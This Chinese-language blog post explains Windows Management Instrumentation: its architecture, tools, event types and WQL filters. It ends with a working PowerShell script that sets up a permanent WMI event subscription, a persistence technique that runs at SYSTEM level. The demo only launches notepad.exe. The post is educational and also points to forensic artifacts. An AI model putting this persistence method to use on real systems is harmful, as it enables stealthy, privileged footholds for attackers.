WMI (Windows Management Instrumentation,Windows管理规范) 从Windows 2000开始被包含于操作系统后,就一直是Windows操作系统的一部分。这项技术对于系统管理员来说具有巨大价值,因为它提供了提取所有类型信息、配置组件和基于系统数个组件的状态采取行动等方式。由于这种灵活性,且被早早地被包含于操作系统中,攻击者们便看到了它的潜力,并且已经开始滥用这项技术。

WMI 架构

  • WMI 使用 CIM 和 WBEM 标准以执行以下操作:

    • 提供一个对象架构来描述“托管组件”
    • 提供一种填充对象的方法 --- 比如:WMI提供程序
    • 存储持久化对象 --- WMI/CIM存储库
    • 对象查询 --- WQL(WMI Query Language)
    • 传输对象数据 --- 类(class)方法、事件等
  • 持久化 WMI 对象被保存在 WMI 存储库中:

    • %SystemRoot%\System32\wbem\Repository\OBJECTS.DATA
    • %SystemRoot%\System32\wbem\Repository\FS\OBJECTS.DATA
    • 对于数据取证很有价值
  • WMI设置:

    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
    • Win32_WmiSetting class

WMI 交互工具

  • Powershell --- 内置
  • wmic.exe --- 内置
  • Sapien WMI Explorer --- 商业工具
  • wbemtest.exe --- 内置
  • winrm.exe --- 内置
  • Windows 脚本宿主语言:
    • VBScript
    • JScript
  • IWbem* COM API
  • .NET System.Management classes

远程 WMI

  • 远程 WMI 协议 - DCOM
  • 远程 WMI 协议 - WinRM/PowerShell Remoting

WMI 事件

  • WMI 可以触发任何可接收的事件,对于攻击者和防御者都很有价值
  • 三个条件:
    • Filter - 触发事件需要的动作
    • Consumer - 事件被触发时的动作
    • Binding - 注册绑定一对 Filter <--> Consumer
  • 本地事件生命周期即为宿主进程的运行时间
  • 永久性的 WMI 事件是持久性驻留的,并且以SYSTEM权限运行

1. WMI 事件类型

  • 内部事件(Intrinsic)

    • 内部事件作为系统类存在于每个命名空间
    • 攻击者/防御者可以灵活地使用这些事件
    • 需要在轮询间隔时间内进行捕获,使用需谨慎
    • 可能会错过事件触发(因为轮询?)

__NamespaceOperationEvent __ClassCreationEvent

__NamespaceModificationEvent __InstanceOperationEvent

__NamespaceDeletionEvent __InstanceCreationEvent

__NamespaceCreationEvent __MethodInvocationEvent

__ClassOperationEvent __InstanceModificationEvent

__ClassDeletionEvent __InstanceDeletionEvent

__ClassModificationEvent __TimerEvent

__ConsumerFailureEvent __EventDroppedEvent

__EventQueueOverflowEvent __MethodInvocationEvent

  • 外部事件(Extrinsic)

    • 外部事件作为非系统类可被立即触发
    • 不会错过事件的触发
    • 通常不包含太多信息

ROOT\CIMV2:Win32_ComputerShutdownEvent

ROOT\CIMV2:Win32_IP4RouteTableEvent

ROOT\CIMV2:Win32_ProcessStartTrace

ROOT\CIMV2:Win32_ModuleLoadTrace

ROOT\CIMV2:Win32_ThreadStartTrace

ROOT\CIMV2:Win32_VolumeChangeEvent

ROOT\CIMV2:Msft_WmiProvider*

ROOT\DEFAULT:RegistryKeyChangeEvent

ROOT\DEFAULT:RegistryValueChangeEvent

... ...

2. WMI 事件 - Filters

  • 被触发事件的定义
  • WMI查询语句的形式来指定
  • 注意性能消耗
  • 内部事件查询(由于轮询方式,需要使用 WITHIN 子句指定轮询间隔)
    • SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE

      ((__CLASS = "__InstanceCreationEvent" OR __CLASS = "__InstanceModificationEvent") AND TargetInstance ISA "CIM_DataFile") AND (TargetInstance.Extension = "doc") OR (TargetInstance.Extension = "docx") --- 每隔30秒查询一次后缀为"doc"和"docx"的文件操作
  • 外部事件查询(等效于实时)
    • SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2 --- 可移动设备(EventType=2)插拔

3. WMI 事件 - Consumers

WMI 攻击

  WMI 脚本宿主进程:%SystemRoot%\system32\wbem\scrcons.exe

  这里只测试以下持久化驻留。

  最终效果是:系统启动后200至300秒间,相应事件每隔60秒进行一次的轮询触发,则执行notepad.exe。

$filterName = "testFilter"
$consumerName = 'testComsumer'
$binpath = 'C:\windows\system32\notepad.exe'
$query = "select * from __InstanceModificationEvent within 60 where TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUptime < 300" # 创建Filter
$wmiEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query} -ErrorAction Stop # 创建Consumer
$wmiEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -NameSpace "root\subscription" -Arguments @{Name=$consumerName;CommandLineTemplate=$binpath} # 绑定Filter和COnsumer
Set-WmiInstance -Class __FilterToConsumerBinding -NameSpace "root\subscription" -Arguments @{Filter=$wmiEventFilter;Consumer=$wmiEventConsumer}

参考:

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor.pdf

https://www.darkoperator.com/blog/2017/10/14/basics-of-tracking-wmi-activity

https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/

https://threathunterplaybook.com/notebooks/windows/03_persistence/WIN-190810170510.html

WMI简介和Event驻留的更多相关文章

  1. C#中操作WMI的类库-实现远程登录共享

    WMI是Windows Management Instrumentation的简称,即:视窗管理规范.在Windows 2000或以后的版本中均安装得有,NT4.0则需要安装WMI的核心组件.通过WM ...

  2. WMI使用集锦

    转载:http://singlepine.cnblogs.com/articles/299457.html 1.WMI简介 WMI是英文Windows Management Instrumentati ...

  3. Chrome插件Visual Event查看Dom元素绑定事件的利器

    找这工具找了好久,统一找着了,开发人员不可多得的好东东,收藏做一下分享. 用Chrome插件Visual Event查看Dom绑定的事件 Visual Event简介 Visual Event是一个开 ...

  4. Visual Event :快速查看 DOM 上绑定的 JS 事件

    http://web.jobbole.com/82503/ Javascript中的事件经常被认为如谜一般不可解.Javascript是一个事件驱动的语言,在这样的前提下前面的看法是很奇怪,但是说到它 ...

  5. PTH的几种食用姿势

    PTH PTH(pass the hash)也叫做hash传递.在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过NTLM Hash(mimikatz或其他手段抓取到的密码hash)访问远 ...

  6. C# 查询Windows Service 信息 ,所在目录 启动状态

    1.WMI简介WMI是英文Windows Management Instrumentation的简写,它的功能主要是:访问本地主机的一些信息和服务,可以管理远程计算机(当然你必须要拥有足够的权限),比 ...

  7. js 大厦之JavaScript事件

    1.js事件简介 事件(Event) 是 JavaScript 应用跳动的心脏 ,进行交互,使网页动起来.也是把所有东西粘在一起的胶水.当我们与浏览器中 Web 页面进行某些类型的交互时,事件就发生了 ...

  8. React 从入门到进阶之路(六)

    之前的文章我们介绍了 React 表单事件 键盘事件 事件对象以及 React中 的 ref 获取 dom 节点 .双向数据绑定.接下来我们将介绍 React 表单详解 约束性和非约束性组件 inpu ...

  9. Flink实战(七) - Time & Windows编程

    0 相关源码 掌握Flink中三种常用的Time处理方式,掌握Flink中滚动窗口以及滑动窗口的使用,了解Flink中的watermark. Flink 在流处理工程中支持不同的时间概念. 1 处理时 ...

随机推荐

  1. 曾经大量使用的Model1开发模式,虽不常用,但可以帮我们理解JSP

    注:图片如果损坏,点击文章链接:https://www.toutiao.com/i6513394762370777604/ 1.<JSP页面实际上就是Servlet> 2.<JSP页 ...

  2. HDU 2041 超级楼梯 (斐波那契数列 & 简单DP)

    原题链接:http://acm.hdu.edu.cn/showproblem.php?pid=2041 题目分析:题目是真的水,不难发现规律涉及斐波那契数列,就直接上代码吧. 代码如下: #inclu ...

  3. 关于Jmeter线程数Ramp-Up.循环次数的理解和实验数据

    1. 关于线程组参数 线程组:即一个线程组实例里面包括多个串行的请求或动作.一个线程组的从启动到结束的时间取决于你线程中的步骤数量. 线程数:即用户数,在Ramp-up时间内(包括循环),简单把线程数 ...

  4. Android学习笔记5

    SharedPreferenced的使用方法:SharedPreferences 是一个轻量级的存储类,主要是保存一些小的数据,一些状态信息 第一步:初始化         * 获取SharedPre ...

  5. C++多线程之可重入锁

    #include<iostream> #include<thread> #include<mutex> using namespace std; recursive ...

  6. 淘系工程师讲解的使用Spring特性优雅书写业务代码

    使用Spring特性优雅书写业务代码   大家在日常业务开发工作中相信多多少少遇到过下面这样的几个场景: 当某一个特定事件或动作发生以后,需要执行很多联动动作,如果串行去执行的话太耗时,如果引入消息中 ...

  7. 不难懂------git开发过程中流程

    001.创建仓库 002.新建项目 003.初始化仓库  这一步不需要做 git init : 文件夹中会多出一个隐藏的.git文件 004.克隆项目 git clone <项目地址> 0 ...

  8. NOIP PJ/CSP-J 题目选做

    1. luoguP7074 [CSP-J2020] 方格取数 2. luoguP5662 [CSP-J2019] 纪念品 3. luoguP2671 [NOIP2015 普及组] 求和 4. luog ...

  9. Typora + picgo + Chevereto 优雅地上传图片

    需求:由于经常使用typora写文章,但是配合picgo使用的sm.ms图床,github图床等,速度不稳定,因此我们想要利用自己的服务器搭建自己的图床,将自己文章的图片上传到自己的服务器中,优雅地写 ...

  10. 人工智能与智能系统2-> 机器人学2 | 时间与运动

    <Robotics, Vision and Control>学习到第三章,我才发现这本书是有配套视频的,第二章看的好辛苦,很多地方生硬理解了一下,现在打算把视频再好好看一看,作为补充,也会 ...